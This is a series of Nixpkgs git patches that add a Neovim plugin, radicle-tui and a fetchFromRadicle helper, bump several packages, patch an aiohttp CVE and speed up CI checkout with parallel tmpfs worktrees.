Subject: [PATCH 3806/4511] vimPlugins.commasemi-nvim: init at 2025-03-06

(cherry picked from commit db393f2a5c31f7bc625d7fbd0d67502a6f25bb9a)
---
 pkgs/applications/editors/vim/plugins/generated.nix | 13 +++++++++++++
 .../editors/vim/plugins/vim-plugin-names            |  1 +
 2 files changed, 14 insertions(+)

diff --git a/pkgs/applications/editors/vim/plugins/generated.nix b/pkgs/applications/editors/vim/plugins/generated.nix
index ff92a12b6d67..1855a282d561 100644
--- a/pkgs/applications/editors/vim/plugins/generated.nix
+++ b/pkgs/applications/editors/vim/plugins/generated.nix
@@ -3039,6 +3039,19 @@ final: prev: {
     meta.hydraPlatforms = [ ];
   };
 
+  commasemi-nvim = buildVimPlugin {
+    pname = "commasemi.nvim";
+    version = "2025-03-06";
+    src = fetchFromGitHub {
+      owner = "saifulapm";
+      repo = "commasemi.nvim";
+      rev = "cbfa3554e554f0534fcd79de273742a532c0068f";
+      sha256 = "13b334fx6yn1iyijvm7vb6il1zqpzx112rhw6ajp3lvgqanpz23d";
+    };
+    meta.homepage = "https://github.com/saifulapm/commasemi.nvim/";
+    meta.hydraPlatforms = [ ];
+  };
+
   comment-box-nvim = buildVimPlugin {
     pname = "comment-box.nvim";
     version = "2024-02-03";
diff --git a/pkgs/applications/editors/vim/plugins/vim-plugin-names b/pkgs/applications/editors/vim/plugins/vim-plugin-names
index da3b485607ca..a8eb7657e426 100644
--- a/pkgs/applications/editors/vim/plugins/vim-plugin-names
+++ b/pkgs/applications/editors/vim/plugins/vim-plugin-names
@@ -232,6 +232,7 @@ https://github.com/xzbdmw/colorful-menu.nvim/,HEAD,
 https://github.com/lilydjwg/colorizer/,,
 https://github.com/Domeee/com.cloudedmountain.ide.neovim/,HEAD,
 https://github.com/wincent/command-t/,,
+https://github.com/saifulapm/commasemi.nvim/,HEAD,
 https://github.com/LudoPinelli/comment-box.nvim/,HEAD,
 https://github.com/numtostr/comment.nvim/,,
 https://github.com/rhysd/committia.vim/,,

From 27ce6ac178982170e855f11dd4554f966c053f67 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 21:41:57 +0200
Subject: [PATCH 3807/4511] actions/checkout: parallelize checkout of multiple
 commits on tmpfs

Instead of fetching up to 3 times on each new checkout, we now fetch all
the commits we're going to need at once. Afterwards, we checkout the
different worktrees in parallel, which doesn't give us much, yet,
because it would still be IO-bound on its own. Inconsistent IO
performance on disk is also the biggest limitation for checkout right
now, where checkout times range everywhere from 20s to 40s.

By checking out the worktrees on a tmpfs, the actual checkout only takes
1s and benefits from parallelization. The overall checkout time is now
8-11s, depending on the number of commits.

That's a reduction of 10-30s and we get this speedup for almost every
job in the PR workflow, which is huge.

This potentially has a nice side-effect for Eval, too: Because the repo
is in RAM, Eval seems to run slightly faster, up to 10 seconds less.

(cherry picked from commit 4b4aa628da835c05d05ed9afe2304862123fd529)
---
 .github/actions/checkout/action.yml | 111 ++++++++++++++++++++--------
 .github/workflows/eval.yml          |   4 +-
 2 files changed, 82 insertions(+), 33 deletions(-)

diff --git a/.github/actions/checkout/action.yml b/.github/actions/checkout/action.yml
index a07edb097d7b..1b61b9b0d08d 100644
--- a/.github/actions/checkout/action.yml
+++ b/.github/actions/checkout/action.yml
@@ -13,39 +13,88 @@ inputs:
 runs:
   using: composite
   steps:
-    - if: inputs.merged-as-untrusted-at
-      # Would be great to do the checkouts in git worktrees of the existing spare checkout instead,
-      # but Nix is broken with them:
-      # https://github.com/NixOS/nix/issues/6073
-      uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
-      with:
-        ref: ${{ inputs.merged-as-untrusted-at }}
-        path: untrusted
-
-    - if: inputs.target-as-trusted-at
-      uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
-      with:
-        ref: ${{ inputs.target-as-trusted-at }}
-        path: trusted
-
-    - if: inputs.pinned-from
-      id: pinned
-      uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+    - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
       env:
+        MERGED_SHA: ${{ inputs.merged-as-untrusted-at }}
         PINNED_FROM: ${{ inputs.pinned-from }}
+        TARGET_SHA: ${{ inputs.target-as-trusted-at }}
       with:
         script: |
-          const path = require('node:path')
-          const pinned = require(path.resolve(path.join(process.env.PINNED_FROM, 'ci', 'pinned.json')))
-          core.setOutput('pinned-at', pinned.pins.nixpkgs.revision)
+          const { spawn } = require('node:child_process')
+          const { join } = require('node:path')
 
-    - if: steps.pinned.outputs.pinned-at
-      uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
-      with:
-        ref: ${{ steps.pinned.outputs.pinned-at }}
-        path: pinned
-        sparse-checkout: |
-          lib
-          maintainers
-          nixos/lib
-          pkgs
+          async function run(cmd, ...args) {
+            return new Promise((resolve, reject) => {
+              const proc = spawn(cmd, args, {
+                stdio: 'inherit'
+              })
+              proc.on('close', (code) => {
+                if (code === 0) resolve()
+                else reject(code)
+              })
+            })
+          }
+
+          // These are set automatically by the spare checkout for .github/actions.
+          // Undo them, otherwise git fetch below will not do anything.
+          await run('git', 'config', 'unset', 'remote.origin.promisor')
+          await run('git', 'config', 'unset', 'remote.origin.partialclonefilter')
+
+          // Getting the pinned SHA via API allows us to do one single fetch call for all commits.
+          // Otherwise we would have to fetch merged/target first, read pinned, fetch again.
+          // A single fetch call comes with a lot less overhead. The fetch takes essentially the
+          // same time no matter whether its 1, 2 or 3 commits at once.
+          async function getPinnedSha(ref) {
+            const { content, encoding } = (await github.rest.repos.getContent({
+              ...context.repo,
+              path: 'ci/pinned.json',
+              ref,
+            })).data
+            const pinned = JSON.parse(Buffer.from(content, encoding).toString())
+            return pinned.pins.nixpkgs.revision
+          }
+
+          const commits = [
+            {
+              sha: process.env.MERGED_SHA,
+              path: 'untrusted',
+            },
+            {
+              sha: process.env.PINNED_FROM === 'untrusted' && (await getPinnedSha(process.env.MERGED_SHA)),
+              path: 'pinned'
+            },
+            {
+              sha: process.env.TARGET_SHA,
+              path: 'trusted',
+            },
+            {
+              sha: process.env.PINNED_FROM === 'trusted' && (await getPinnedSha(process.env.TARGET_SHA)),
+              path: 'pinned'
+            }
+          ].filter(({ sha }) => Boolean(sha))
+
+          console.log('Checking out the following commits:', commits)
+
+          // Fetching all commits at once is much faster than doing multiple checkouts.
+          // This would fail without --refetch, because the we had a partial clone before, but changed it above.
+          await run('git', 'fetch', '--depth=1', '--refetch', 'origin', ...(commits.map(({ sha }) => sha)))
+
+          // Create all worktrees in parallel.
+          await Promise.all(commits.map(async ({ sha, path }) => {
+            // Checking out onto tmpfs takes 1s and is faster by at least factor 10x.
+            await run('mkdir', path)
+            switch (process.env.RUNNER_OS) {
+              case 'macOS':
+                await run('sudo', 'mount_tmpfs', path)
+                // macOS creates this hidden folder to log file system activity.
+                // This trips up git when adding a worktree below, because the target folder is not empty.
+                await run('sudo', 'rm', '-rf', join(path, '.fseventsd'))
+                break
+              case 'Linux':
+                await run('sudo', 'mount', '-t', 'tmpfs', 'tmpfs', path)
+                break
+            }
+            await run('git', 'worktree', 'add', path, sha, '--no-checkout', '--force')
+            await run('git', '-C', path, 'sparse-checkout', 'disable')
+            await run('git', '-C', path, 'checkout', '--progress')
+          }))
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 0b70521d62b3..805303ac679e 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -217,6 +217,7 @@ jobs:
       - name: Check out the PR at the target commit
         uses: ./.github/actions/checkout
         with:
+          merged-as-untrusted-at: ${{ inputs.mergedSha }}
           target-as-trusted-at: ${{ inputs.targetSha }}
           pinned-from: trusted
 
@@ -240,7 +241,6 @@ jobs:
         env:
           AUTHOR_ID: ${{ github.event.pull_request.user.id }}
         run: |
-          git -C trusted fetch --depth 1 origin ${{ inputs.mergedSha }}
           git -C trusted diff --name-only ${{ inputs.mergedSha }} \
             | jq --raw-input --slurp 'split("\n")[:-1]' > touched-files.json
 
@@ -392,7 +392,7 @@ jobs:
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
       - name: Ensure flake outputs on all systems still evaluate
-        run: nix flake check --all-systems --no-build ./untrusted
+        run: nix flake check --all-systems --no-build './untrusted?shallow=1'
 
       - name: Query nixpkgs with aliases enabled to check for basic syntax errors
         run: |

From 916e27971d74a2b50a39fc0cea95fc346a7df0d6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 20 Jul 2025 11:59:38 +0000
Subject: [PATCH 3808/4511] jdk: 21.0.7+6 -> 21.0.8+9

(cherry picked from commit 56463934a63a0b5ecb7d19470f719eaf8b3bba41)
---
 pkgs/development/compilers/openjdk/21/source.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/openjdk/21/source.json b/pkgs/development/compilers/openjdk/21/source.json
index 88dca693a01a..a514f2dc908e 100644
--- a/pkgs/development/compilers/openjdk/21/source.json
+++ b/pkgs/development/compilers/openjdk/21/source.json
@@ -1,6 +1,6 @@
 {
-  "hash": "sha256-H2ed09+1qafIDsHYDYRIcE9nyWwQagVyE563ROlNTtk=",
+  "hash": "sha256-8wUwxjhAGIp1bzny2e86vPH9q4vw1kLDoTjO7FrJbx4=",
   "owner": "openjdk",
   "repo": "jdk21u",
-  "rev": "refs/tags/jdk-21.0.7+6"
+  "rev": "refs/tags/jdk-21.0.8+9"
 }

From 8c36e4d44e3641b1a10fb853cd851d362f7730a9 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Thu, 21 Aug 2025 20:42:52 +0100
Subject: [PATCH 3809/4511] ncdu: 2.9 -> 2.9.1

Changes: https://dev.yorhel.nl/ncdu/changes2
(cherry picked from commit 6cec4af21a4117c46776476b2ae74b49f01c5dbd)
---
 pkgs/by-name/nc/ncdu/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/nc/ncdu/package.nix b/pkgs/by-name/nc/ncdu/package.nix
index 90e3869f525c..630dca3a9331 100644
--- a/pkgs/by-name/nc/ncdu/package.nix
+++ b/pkgs/by-name/nc/ncdu/package.nix
@@ -13,11 +13,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "ncdu";
-  version = "2.9";
+  version = "2.9.1";
 
   src = fetchurl {
     url = "https://dev.yorhel.nl/download/ncdu-${finalAttrs.version}.tar.gz";
-    hash = "sha256-dfCsO85PwBLoGYtyUY21F56QMHmFjvzgi5EtXcxwlNM=";
+    hash = "sha256-v9EJThQA7onP1ZIA6rlA8CXM3AwjgGcQXJhKPEhXv34=";
   };
 
   nativeBuildInputs = [

From 1f6bd8f0fe4656f619c523873dde7079f3412f5c Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Wed, 20 Aug 2025 08:00:47 +0200
Subject: [PATCH 3810/4511] claude-code: 1.0.84 -> 1.0.85

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md

- Status line input now includes session cost info

(cherry picked from commit c72e6cd664a5eed872caf6caaff0a5fc424eb210)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index fdef0f99a316..6baa91162a87 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.84"
+        "@anthropic-ai/claude-code": "^1.0.85"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.84",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.84.tgz",
-      "integrity": "sha512-+Qu+z1jTdZPu0UL4dalntkofDGL0BgWqs6XmRlq+RuxurHJy58zKae4PL8naevrkbgazauIPYDDGmHF3u+B0uQ==",
+      "version": "1.0.85",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.85.tgz",
+      "integrity": "sha512-rvLGGSnHQLJI3dP7C/d3Or5LQvgDEae5wurMG4Fs9ourzt+k8YA6WAHeuJmSUq7o7Z2fZTaojcM3VOLzUBEl7w==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 0d3e0095f840..a45659bfc482 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.84";
+  version = "1.0.85";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-Uu6K2Fq4MT0jb4GsAaHo0UbjnK2bXxjQEjND3ftcFMo=";
+    hash = "sha256-CLqvcolG94JBC5VFlsfybZ9OXe81gJBzKU6Xgr7CGWo=";
   };
 
-  npmDepsHash = "sha256-G1Jrjds7Il+gmQ5SYRgbW3faB2gJd3x0r576IGwFNys=";
+  npmDepsHash = "sha256-V0rjoKdXGRNNKRJqPvVIqCQpqgNCklPTVRExCCxbe8g=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 808637f395397dcb07170949a16744dd22bb3dce Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Tue, 19 Aug 2025 20:22:57 -0700
Subject: [PATCH 3811/4511] postfix: 3.10.3 -> 3.10.4

Changelog: https://www.postfix.org/announcements/postfix-3.10.4.html
(cherry picked from commit 357809f2eb41b284dd04d2802a7518721951a345)
---
 pkgs/by-name/po/postfix/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/po/postfix/package.nix b/pkgs/by-name/po/postfix/package.nix
index 318b3d46c45e..54d81f2237bc 100644
--- a/pkgs/by-name/po/postfix/package.nix
+++ b/pkgs/by-name/po/postfix/package.nix
@@ -71,11 +71,11 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "postfix";
-  version = "3.10.3";
+  version = "3.10.4";
 
   src = fetchurl {
     url = "https://de.postfix.org/ftpmirror/official/postfix-${version}.tar.gz";
-    hash = "sha256-487AXZG20pWOzW6pBF+qNfecWw4ii5dazkatKv6BIFM=";
+    hash = "sha256-z7ZoYf6PlkeH3a6rFfPKPn7z3nMPlxca/EpeyjOMpEQ=";
   };
 
   nativeBuildInputs = [

From ead41c37a84cc365a98c910118e6f11609da642e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Thu, 21 Aug 2025 14:55:50 -0700
Subject: [PATCH 3812/4511] python3Packages.aiohttp: patch CVE-2025-53643

Not-cherry-picked-because: aiohttp 3.12 cannot be backported
---
 pkgs/development/python-modules/aiohttp/default.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/development/python-modules/aiohttp/default.nix b/pkgs/development/python-modules/aiohttp/default.nix
index 695016ac4ac1..c725f39995e8 100644
--- a/pkgs/development/python-modules/aiohttp/default.nix
+++ b/pkgs/development/python-modules/aiohttp/default.nix
@@ -3,6 +3,7 @@
   stdenv,
   buildPythonPackage,
   fetchFromGitHub,
+  fetchpatch,
   replaceVars,
   isPy310,
   isPyPy,
@@ -56,6 +57,11 @@ buildPythonPackage rec {
   };
 
   patches = [
+    (fetchpatch {
+      name = "CVE-2025-53643.patch";
+      url = "https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a.patch";
+      hash = "sha256-fhts9FYWPOOQn71rbK8KX1cEtit65i0Nr3mIPr6/Btg=";
+    })
     (replaceVars ./unvendor-llhttp.patch {
       llhttpDev = lib.getDev llhttp;
       llhttpLib = lib.getLib llhttp;

From b9331e1289895f0a4e60b26cd4470da51d093600 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 21 Aug 2025 12:29:46 +0000
Subject: [PATCH 3813/4511] vivaldi: 7.5.3735.58 -> 7.5.3735.64

(cherry picked from commit 5fd390d2ffc779ca3e22b316234986a06ef474a0)
---
 pkgs/by-name/vi/vivaldi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index 7574a27ce328..a1c942d6bda0 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -66,7 +66,7 @@
 
 stdenv.mkDerivation rec {
   pname = "vivaldi";
-  version = "7.5.3735.58";
+  version = "7.5.3735.64";
 
   suffix =
     {
@@ -79,8 +79,8 @@ stdenv.mkDerivation rec {
     url = "https://downloads.vivaldi.com/stable/vivaldi-stable_${version}-1_${suffix}.deb";
     hash =
       {
-        aarch64-linux = "sha256-/S1vN8JakjRuB8s9SrDfA8wTwKu1tSs/+g7IoYglSmg=";
-        x86_64-linux = "sha256-5dNdJuApccRQDiZOF2+a8sTqJJLIGLpUPevPVx7Fyfw=";
+        aarch64-linux = "sha256-qcgbzxJiyIWVTFbhJYd4SrlK6ybjXuTG09LowoDP0LE=";
+        x86_64-linux = "sha256-cIVQiow/m2EMok1COeyo9v/1HCKStTnDt/StldXk/oo=";
       }
       .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
   };

From ef7d4c27387fe5d8860f60b91720f974a74b99ea Mon Sep 17 00:00:00 2001
From: Matthias Beyer <mail@beyermatthias.de>
Date: Fri, 15 Aug 2025 23:26:31 +0200
Subject: [PATCH 3814/4511] radicle-tui: init at 0.6.0

Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
Co-authored-by: Felix Bargfeldt <41747605+Defelo@users.noreply.github.com>
Co-authored-by: Yiyu Zhou <yiyuzhou19@gmail.com>

(cherry picked from commit 342d1b05d6832ae3af7e315c360691d662831beb)
---
 pkgs/by-name/ra/radicle-tui/package.nix | 109 ++++++++++++++++++++++++
 pkgs/by-name/ra/radicle-tui/update.sh   |  20 +++++
 2 files changed, 129 insertions(+)
 create mode 100644 pkgs/by-name/ra/radicle-tui/package.nix
 create mode 100755 pkgs/by-name/ra/radicle-tui/update.sh

diff --git a/pkgs/by-name/ra/radicle-tui/package.nix b/pkgs/by-name/ra/radicle-tui/package.nix
new file mode 100644
index 000000000000..46f954274414
--- /dev/null
+++ b/pkgs/by-name/ra/radicle-tui/package.nix
@@ -0,0 +1,109 @@
+{
+  lib,
+  rustPlatform,
+  fetchgit,
+  stdenv,
+  libiconv,
+  zlib,
+  radicle-node,
+  makeBinaryWrapper,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "radicle-tui";
+  version = "0.6.0";
+
+  src = fetchgit {
+    url = "https://seed.radicle.xyz/z39mP9rQAaGmERfUMPULfPUi473tY.git";
+    rev = "refs/namespaces/z6MkswQE8gwZw924amKatxnNCXA55BMupMmRg7LvJuim2C1V/refs/tags/${finalAttrs.version}";
+    hash = "sha256-rz9l9GtycqZoROUI6Hn0Fv5Br0YCIrcHlEWLMP4hasQ=";
+    leaveDotGit = true;
+    postFetch = ''
+      git -C $out rev-parse HEAD > $out/.git_head
+      git -C $out log -1 --pretty=%ct HEAD > $out/.git_time
+      rm -rf $out/.git
+    '';
+  };
+
+  cargoHash = "sha256-f9D4RKWw7y6z9rERuF7F6soyNITvKa6QVt34biZZ5JY=";
+
+  postPatch = ''
+    substituteInPlace build.rs \
+      --replace-fail "GIT_HEAD={hash}" "GIT_HEAD=$(<.git_head)" \
+      --replace-fail "GIT_COMMIT_TIME={commit_time}" "GIT_COMMIT_TIME=$(<.git_time)"
+  '';
+
+  nativeCheckInputs = [ radicle-node ];
+
+  checkFlags = [
+    "--skip=cli::can_be_executed"
+    "--skip=cli::empty_command_is_forwarded"
+    "--skip=cli::help_command_is_forwarded"
+    "--skip=cli::version_command_is_forwarded"
+    "--skip=commands::tui_inbox::cli::empty_operation"
+    "--skip=commands::tui_inbox::cli::empty_operation_is_not_forwarded"
+    "--skip=commands::tui_inbox::cli::empty_operation_is_not_forwarded_explicitly"
+    "--skip=commands::tui_inbox::cli::empty_operation_with_help_is_forwarded"
+    "--skip=commands::tui_inbox::cli::list_operation_is_not_forwarded"
+    "--skip=commands::tui_inbox::cli::list_operation_is_not_forwarded_explicitly"
+    "--skip=commands::tui_inbox::cli::list_operation_with_help_is_forwarded"
+    "--skip=commands::tui_inbox::cli::unknown_operation_show_is_forwarded"
+    "--skip=commands::tui_patch::cli::empty_operation"
+    "--skip=commands::tui_patch::cli::empty_operation_is_not_forwarded"
+    "--skip=commands::tui_patch::cli::empty_operation_is_not_forwarded_explicitly"
+    "--skip=commands::tui_patch::cli::empty_operation_with_help_is_forwarded"
+    "--skip=commands::tui_patch::cli::list_operation_is_not_forwarded"
+    "--skip=commands::tui_patch::cli::list_operation_is_not_forwarded_explicitly"
+    "--skip=commands::tui_patch::cli::list_operation_with_help_is_forwarded"
+    "--skip=commands::tui_patch::cli::unknown_operation_edit_is_forwarded"
+    "--skip=commands::tui_patch::cli::unknown_operation_is_not_forwarded"
+    "--skip=commands::tui_patch::cli::unknown_operation_show_is_forwarded"
+    "--skip=commands::tui_patch::review::test::app_with_single_file_multiple_hunks_can_be_constructed"
+    "--skip=commands::tui_patch::review::test::app_with_single_hunk_can_be_constructed"
+    "--skip=commands::tui_patch::review::test::first_hunk_is_selected_by_default"
+    "--skip=commands::tui_patch::review::test::hunk_can_be_selected"
+    "--skip=commands::tui_patch::review::test::hunks_are_rejected_by_default"
+    "--skip=commands::tui_patch::review::test::multiple_files_single_hunk_can_be_accepted"
+    "--skip=commands::tui_patch::review::test::single_file_multiple_hunks_only_last_can_be_accepted"
+    "--skip=commands::tui_patch::review::test::single_file_single_hunk_can_be_accepted"
+  ];
+
+  nativeBuildInputs = [ makeBinaryWrapper ];
+
+  buildInputs = lib.optionals stdenv.isDarwin [
+    libiconv
+    zlib
+  ];
+
+  propagatedUserEnvPkgs = [ radicle-node ];
+
+  postInstall = ''
+    wrapProgram $out/bin/rad-tui \
+      --suffix PATH : ${lib.makeBinPath finalAttrs.propagatedUserEnvPkgs}
+  '';
+
+  # versionCheckHook doesn't support multiple arguments yet
+  doInstallCheck = true;
+  installCheckPhase = ''
+    runHook preInstallCheckPhase
+    $out/bin/rad-tui --version --no-forward | grep -F 'rad-tui ${finalAttrs.version}'
+    runHook postInstallCheckPhase
+  '';
+
+  passthru.updateScript = ./update.sh;
+
+  meta = {
+    description = "Radicle terminal user interface";
+    homepage = "https://app.radicle.xyz/nodes/seed.radicle.xyz/rad:z39mP9rQAaGmERfUMPULfPUi473tY";
+    changelog = "https://app.radicle.xyz/nodes/seed.radicle.xyz/rad:z39mP9rQAaGmERfUMPULfPUi473tY/tree/CHANGELOG.md";
+    license = with lib.licenses; [
+      asl20 # or
+      mit
+    ];
+    maintainers = with lib.maintainers; [
+      matthiasbeyer
+      defelo
+    ];
+    mainProgram = "rad-tui";
+  };
+})
diff --git a/pkgs/by-name/ra/radicle-tui/update.sh b/pkgs/by-name/ra/radicle-tui/update.sh
new file mode 100755
index 000000000000..2f423909a9de
--- /dev/null
+++ b/pkgs/by-name/ra/radicle-tui/update.sh
@@ -0,0 +1,20 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p coreutils gnused gitMinimal nix-update
+
+set -euo pipefail
+
+dirname="$(dirname "${BASH_SOURCE[0]}")"
+
+url=$(nix-instantiate --eval --raw -A radicle-tui.src.url)
+old_ref=$(nix-instantiate --eval --raw -A radicle-tui.src.rev)
+new_ref=$(git ls-remote "$url" 'refs/namespaces/*/refs/tags/*' | cut -f2 | tail -1)
+
+[[ "$old_ref" =~ ^refs/namespaces/([^/]+)/refs/tags/([^/]+)$ ]]
+old_node="${BASH_REMATCH[1]}"
+
+[[ "$new_ref" =~ ^refs/namespaces/([^/]+)/refs/tags/([^/]+)$ ]]
+new_node="${BASH_REMATCH[1]}"
+version="${BASH_REMATCH[2]}"
+
+sed -i "s/${old_node}/${new_node}/g" "${dirname}/package.nix"
+nix-update --version="$version" radicle-tui

From 6e3f4fa9be56355d4a2ca885dd969faa4f41392c Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 17 Aug 2025 03:50:28 +0200
Subject: [PATCH 3815/4511] radicle-explorer: fix src hash

(cherry picked from commit 5e2cc452717a454ca3517caf85eba3ede38d71f3)
---
 pkgs/by-name/ra/radicle-explorer/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ra/radicle-explorer/package.nix b/pkgs/by-name/ra/radicle-explorer/package.nix
index 6c467f96b1e1..30eb045a1bff 100644
--- a/pkgs/by-name/ra/radicle-explorer/package.nix
+++ b/pkgs/by-name/ra/radicle-explorer/package.nix
@@ -77,7 +77,7 @@ lib.fix (
       # separate hash.
       src = fetchgit {
         inherit (radicle-httpd.src) url rev;
-        hash = "sha256-HRSrLdiDETTWNF+Rzvlg1XQerXcCE2xaY+6Xbq5pItI=";
+        hash = "sha256-1OhZ0x21NlZIiTPCRpvdUsx5UmeLecTjVzH8DWllPr8=";
       };
 
       postPatch = ''

From 688930885e430739290930f13c4198b033806d46 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 17 Aug 2025 03:34:56 +0200
Subject: [PATCH 3816/4511] fetchFromRadicle: init

(cherry picked from commit 0f4642c7961dfc1348b607f47ff8c9a8cf6b3656)
---
 doc/build-helpers/fetchers.chapter.md       | 18 +++++++++
 doc/redirects.json                          |  3 ++
 pkgs/build-support/fetchradicle/default.nix | 44 +++++++++++++++++++++
 pkgs/top-level/all-packages.nix             |  2 +
 4 files changed, 67 insertions(+)
 create mode 100644 pkgs/build-support/fetchradicle/default.nix

diff --git a/doc/build-helpers/fetchers.chapter.md b/doc/build-helpers/fetchers.chapter.md
index ee35b2339b0c..6ff09e67e7e1 100644
--- a/doc/build-helpers/fetchers.chapter.md
+++ b/doc/build-helpers/fetchers.chapter.md
@@ -886,6 +886,24 @@ If `fetchSubmodules` is `true`, `fetchFromSourcehut` uses `fetchgit`
 or `fetchhg` with `fetchSubmodules` or `fetchSubrepos` set to `true`,
 respectively. Otherwise, the fetcher uses `fetchzip`.
 
+## `fetchFromRadicle` {#fetchfromradicle}
+
+This is used with Radicle repositories. The arguments expected are similar to `fetchgit`.
+
+Requires a `seed` argument (e.g. `seed.radicle.xyz` or `rosa.radicle.xyz`) and a `repo` argument
+(the repository id *without* the `rad:` prefix). Also accepts an optional `node` argument which
+contains the id of the node from which to fetch the specified ref. If `node` is `null` (the
+default), a canonical ref is fetched instead.
+
+```nix
+fetchFromRadicle {
+  seed = "seed.radicle.xyz";
+  repo = "z3gqcJUoA1n9HaHKufZs5FCSGazv5"; # heartwood
+  tag = "releases/1.3.0";
+  hash = "sha256-4o88BWKGGOjCIQy7anvzbA/kPOO+ZsLMzXJhE61odjw=";
+}
+```
+
 ## `requireFile` {#requirefile}
 
 `requireFile` allows requesting files that cannot be fetched automatically, but whose content is known.
diff --git a/doc/redirects.json b/doc/redirects.json
index 8263b03f56aa..187f446bfca1 100644
--- a/doc/redirects.json
+++ b/doc/redirects.json
@@ -1591,6 +1591,9 @@
   "fetchfromsourcehut": [
     "index.html#fetchfromsourcehut"
   ],
+  "fetchfromradicle": [
+    "index.html#fetchfromradicle"
+  ],
   "requirefile": [
     "index.html#requirefile"
   ],
diff --git a/pkgs/build-support/fetchradicle/default.nix b/pkgs/build-support/fetchradicle/default.nix
new file mode 100644
index 000000000000..a8102c382c02
--- /dev/null
+++ b/pkgs/build-support/fetchradicle/default.nix
@@ -0,0 +1,44 @@
+{ lib, fetchgit }:
+
+lib.makeOverridable (
+  {
+    seed,
+    repo,
+    node ? null,
+    rev ? null,
+    tag ? null,
+    ...
+  }@args:
+
+  assert lib.assertMsg (lib.xor (tag != null) (
+    rev != null
+  )) "fetchFromRadicle requires one of either `rev` or `tag` to be provided (not both).";
+
+  let
+    namespacePrefix = lib.optionalString (node != null) "refs/namespaces/${node}/";
+    rev' = if tag != null then "refs/tags/${tag}" else rev;
+  in
+
+  fetchgit (
+    {
+      url = "https://${seed}/${repo}.git";
+      rev = "${namespacePrefix}${rev'}";
+    }
+    // removeAttrs args [
+      "seed"
+      "repo"
+      "node"
+      "rev"
+      "tag"
+    ]
+  )
+  // {
+    inherit
+      seed
+      repo
+      node
+      rev
+      tag
+      ;
+  }
+)
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index c73427d2b352..7e51b6289ce9 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -729,6 +729,8 @@ with pkgs;
 
   fetchFromRepoOrCz = callPackage ../build-support/fetchrepoorcz { };
 
+  fetchFromRadicle = callPackage ../build-support/fetchradicle { };
+
   fetchgx = callPackage ../build-support/fetchgx { };
 
   fetchPypi = callPackage ../build-support/fetchpypi { };

